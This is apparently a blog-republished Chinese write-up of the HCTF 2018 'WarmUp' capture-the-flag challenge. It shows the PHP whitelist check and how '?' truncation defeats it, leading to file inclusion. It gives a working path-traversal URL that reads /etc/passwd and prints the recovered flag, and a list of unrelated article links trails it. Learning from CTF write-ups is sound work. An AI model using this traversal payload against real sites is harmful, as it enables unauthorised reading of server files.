当前位置: 首页 > news >正文

[HCTF 2018] WarmUp

源码看到 source.php​ 看一下源码,看到 hint.php​ 提示如下

<?phphighlight_file(__FILE__);class emmm{public static function checkFile(&$page){$whitelist = ["source"=>"source.php","hint"=>"hint.php"];if (! isset($page) || !is_string($page)) {echo "you can't see it";return false;}// 第一次直接匹配if (in_array($page, $whitelist)) {return true;}// 第二次去掉 ? 后的内容再匹配$_page = mb_substr($page, 0, mb_strpos($page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}// 第三次 urldecode 后再处理$_page = urldecode($page);$_page = mb_substr($_page, 0, mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;}}if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])) {include $_REQUEST['file'];exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";}  
?> flag not here, and flag in ffffllllaaaagggg

这里的三次验证只是方便检测通过的,也就是说只要有一种可以过检测就行

include函数有这么一个神奇的功能:以字符 ‘/’ 分隔(而且不计个数),若是在前面的字符串所代表的文件无法被PHP找到,则PHP会自动包含‘/’后面的文件——注意是最后一个‘/’。

解释一下验证代码部分

mb_strpos($_page . '?', '?')
  • ​$_page . '?'​:将 $_page​ 字符串末尾强行加上一个 ?​,确保无论如何都能找到一个 ?​。
  • ​mb_strpos(..., '?')​:使用 mb_strpos​ 查找第一个 ?​ 出现的位置(多字节安全函数,适用于 UTF-8 等编码)。
mb_substr($_page, 0, ...)
  • 使用 mb_substr​$_page​ 的开头截取到第一个 ?​ 出现的位置(不包括 ?​ 本身)。

也就是说对于链接 http://xxx/source.php?file=hint%2Ephp?../../../../../../etc/passwd
$_REUEST['file']​ 后链接变为 hint%2Ephp?../../../../../../etc/passwd​
然后通过 checkfile​ 最终 in_array​ 判断为 hint.php​

Checkfile​中 mb_strpos​ 查到的第一个 ?​ 为 hint.php?​ 后的问号,因此截取到的内容是 hint.php

在通过验证后,如果服务器配置不当(比如旧版 PHP),它可能最终加载为:

include "../../../../etc/passwd";

拿到flag flag{2a36cacb-9186-46bf-b85b-308555bf62a3}​

http://www.dtcms.com/a/391073.html

相关文章:

  • Vue 学习随笔系列二十六 —— 动态表头
  • BIM 可视化运维平台 + IBMS 中央集成系统一体化解决方案:构建虚实融合的智慧运营中枢
  • XSUN_DESKTOP_PET(桌面宠物)
  • 具身智能VR遥操开发记录
  • 构建AI智能体:三十八、告别“冷启动”:看大模型如何解决推荐系统的世纪难题
  • [重学Rust]之结构体打印和转换
  • 数据结构(陈越,何钦铭) 第十一讲 散列查找
  • 2025年JBD SCI2区TOP,基于改进蚁群算法的应急路径规划,深度解析+性能实测
  • UIKit-layer
  • 一物一码公司推荐再互动平台
  • Wireshark捕获MQTT报文
  • Docker镜像核心作战手册:镜像命令全解析+离线迁移实战+压缩共享储存,打造无缝跨环境部署!
  • Static Deinitialization Order Fiasco
  • 如何使用 Qt Creator 高效调试
  • 保障路灯用电安全!配电箱漏电检测,为城市照明筑牢防线
  • 不同版本tensorflow推理报错解决方法
  • 嵌入式铁头山羊STM32-各章节详细笔记-查阅传送门
  • 在没有随机对照的情况下如果做实验对比:双重差分法(结合虚拟变量回归)(五)
  • 材质、效率双突破:Rendercool 解决室内渲染核心痛点
  • 【ThreeJs】【材质Material】核心材质参数解析手册
  • 无人机桨叶的材质与工艺对飞行速度的影响
  • PMBOK第六版项目沟通管理总结
  • fatal: Need to specify how to reconcile divergent branches.原因及解决方案
  • 二叉树与二叉搜索树(BST):从基础到应用
  • 【一天一个Web3概念】区块链分叉(Fork)全面解析:类型、案例与影响
  • PHP低代码工作流创新,为企业数字化转型添翼
  • 低代码+AI生态:企业数字化起步阶段的“核聚变”冲击波
  • 【Linux基础知识系列:第一百三十四篇】理解Linux的进程调度策略
  • 主机windows虚拟机centos的hadoop调试mapreduce访问hdfs文件
  • 嵌入式Linux C语言程序设计